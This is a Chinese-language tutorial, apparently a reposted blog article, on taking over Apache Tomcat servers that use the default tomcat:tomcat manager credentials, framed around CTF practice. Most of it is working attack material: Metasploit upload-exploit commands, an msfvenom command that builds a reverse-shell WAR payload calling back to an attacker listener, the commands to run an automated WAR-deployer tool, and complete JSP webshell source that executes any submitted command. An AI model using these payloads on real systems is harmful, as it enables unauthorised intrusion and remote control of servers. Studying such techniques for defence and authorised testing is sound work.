攻击Tomcat的多种姿势

栏目: Java · 发布时间: 5年前

内容简介:大家好,本文我想分享一下我的经验,如果你的Tomcat应用设置的是默认登陆凭证时(Tomcat:Tomcat)如何进行利用?当我在打CTF时,很多次我都发现目标主机上的Tomcat应用都是配置的默认登陆凭证,这有助于我们拿到主机的远程shell。因此,我感觉应该记录一下所有攻击Tomcat应用并获取远程主机webshell的方法。·Tomcat经过身份验证的上传代码执行·生成.war格式的后门

大家好,本文我想分享一下我的经验,如果你的Tomcat应用设置的是默认登陆凭证时(Tomcat:Tomcat)如何进行利用?当我在打CTF时,很多次我都发现目标主机上的Tomcat应用都是配置的默认登陆凭证,这有助于我们拿到主机的远程shell。因此,我感觉应该记录一下所有攻击Tomcat应用并获取远程主机webshell的方法。

目录

·Tomcat经过身份验证的上传代码执行

·生成.war格式的后门

·Tomcat war部署脚本

·生成JSP webshell

首先使用nmap进行扫描,看看8080端口是否运行着Tomcat服务

nmap -sV -p8080 192.168.1.101

攻击Tomcat的多种姿势

从扫描结果可以看到,8080端口是开放的,运行着Apache Tomcat。我们用浏览器来访问以下目标IP地址,后面带上端口号。我们可以看到一个HTTP身份认证页面来登陆Tomcat管理后台。

攻击Tomcat的多种姿势

Tomcat经过身份验证的上传代码执行

目标服务器是Apache Tomcat,而且泄露了管理后台,我们可以利用一个模块来执行payload。这个payload作为一个war文件上传,这个payload包含了一个jsp应用,该jsp应用使用POST方式向/manager/html/upload组件发起请求。请注意,根据目标主机的不同,这个payload的设置也会有所不同。比如,如果你的目标主机是Windows,那么你得使用原生的windows payload。

use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost 192.168.1.101
msf exploit(multi/http/tomcat_mgr_upload) > set rport 8080
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername tomcat
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword tomcat
msf exploit(multi/http/tomcat_mgr_upload) > exploit

如图所示,我们可以看到我们已经拿下了目标主机的meterpreter会话:

攻击Tomcat的多种姿势

生成.war格式的后门

攻击Tomcat的多种姿势

我们可以使用msfvenom来为 java 和jsp payload生成一个.war格式的后门。你要做的就是按照下面提供的语法来创建一个.war格式的文件并启动nc进行监听:

Syntax: msfvenom -p [payload] LHOST=[Kali Linux IP] LPORT=[1234] -f [file format] > [file name]
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.101 LPORT=1234 -f war > shell.war
nc -lvp 1234

攻击Tomcat的多种姿势

现在,使用默认的登陆凭证Tomcat:tomcat登陆到Tomcat管理后台中,登陆成功后你就能看到管理员面板,在这里你可以上传.war文件。

如图所示,你可以看到我已经在截图中圈出了“浏览恶意的shell.war文件进行部署”。一旦你成功上传你的war文件,在应用表中,你可以看到一个跟你war文件名字相同的目录。

想要执行你的war文件,你需要进入该目录并点击war文件,或者是直接在URL里访问。

一旦你执行了war文件,你就可以通过nc获得一个反向连接。

攻击Tomcat的多种姿势

耶,我们又一次获得了一个远程主机的webshell。

攻击Tomcat的多种姿势

Tomcat War部署脚本

这是一个渗透测试工具,旨在利用Apache Tomcat凭证以自动生成和部署JSP后门,一旦之后触发这个后门,就会返回一个令人大快人心的 shell 了(不管是通过web gui还是监听绑定到目标主机的端口或者是回连到攻击者的反向TCP payload)。

实际上,它会动态的生成JSP后门war包,然后使用pentester提供的有效的HTTP身份认证凭证(或者自定义凭证,一般都是Tomcat:tomcat)登陆到Tomcat管理界面中并且将其部署到Tomcat应用程序中。

部署脚本你可以在这里进行下载:

https://github.com/mgeeky/tomcatWarDeployer

git clone https://github.com/mgeeky/tomcatWarDeployer
cd tomcatWarDeployer
ls

攻击Tomcat的多种姿势

现在再按照语法来对目标主机进行漏洞利用,不用再手动上传war文件了。

Syntax : ./tomcatWarDeployer.py -U [usrename] -p [password]-H [Kali Linux IP]-p [Listening port] [target_IP]:[tomcat_port]
./tomcatWarDeployer.py -U tomcat -P tomcat -H 192.168.1.108 -p 4567 192.168.1.101:8080

一旦执行了上述命令,我们就可以直接获得一个webshell了,如下图所示:

攻击Tomcat的多种姿势

生成JSP webshell

接下来,我们就来看看如何生成和部署webshell来获得Tomcat应用中的执行命令。

首先,我们需要写一个webshell并且打包成war格式。我们可以使用下面的代码来写一个webshell:

<span style="color: #000000;"><FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
   String cmd = request.getParameter("cmd");
   String output = "";
   if(cmd != null) {
      String s = null;
      try {
         Process p = Runtime.getRuntime().exec(cmd,null,null);
         BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
         while((s = sI.readLine()) != null) { output += s+"</br>"; }
      }  catch(IOException e) {   e.printStackTrace();   }
   }
%>
<pre><%=output %></pre></span>

保存代码为index.jsp文件,然后使用下列命令来打包:

mkdir webshell
cp index.jsp webshell/
cd webshell
jar -cvf ../webshell.war *

攻击Tomcat的多种姿势

执行完这条命令,你就能生成一个war文件,你可以将这个war文件部署在Tomcat应用中。

如下图所示,你可以看到,我已经成功上传并部署了webshell.war文件,现在我们点击这个文件来执行:

攻击Tomcat的多种姿势

在执行/webshell时,你会得到一个404错误页面,现在再执行webshell下的index.jsp文件,如下:

http://192.168.1.106:8080/webshell/index.jsp

访问了上述URL后,你会得到一个命令执行的表单,现在你就可以在这个表单上任意执行cmd命令了,如图:

攻击Tomcat的多种姿势

本文到此结束,希望大家有所收获。


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

征服C指针

征服C指针

前桥和弥 / 吴雅明 / 人民邮电出版社 / 2013-2 / 49.00元

《图灵程序设计丛书:征服C指针》被称为日本最有营养的C参考书。作者是日本著名的“毒舌程序员”,其言辞犀利,观点鲜明,往往能让读者迅速领悟要领。书中结合了作者多年的编程经验和感悟,从C语言指针的概念讲起,通过实验一步一步地为我们解释了指针和数组、内存、数据结构的关系,展现了指针的常见用法,揭示了各种使用技巧。另外,还通过独特的方式教会我们怎样解读C语言那些让人“纠结”的声明语法,如何绕过C指针的陷阱......一起来看看 《征服C指针》 这本书的介绍吧!

在线进制转换器
在线进制转换器

各进制数互转换器

Markdown 在线编辑器
Markdown 在线编辑器

Markdown 在线编辑器

html转js在线工具
html转js在线工具

html转js在线工具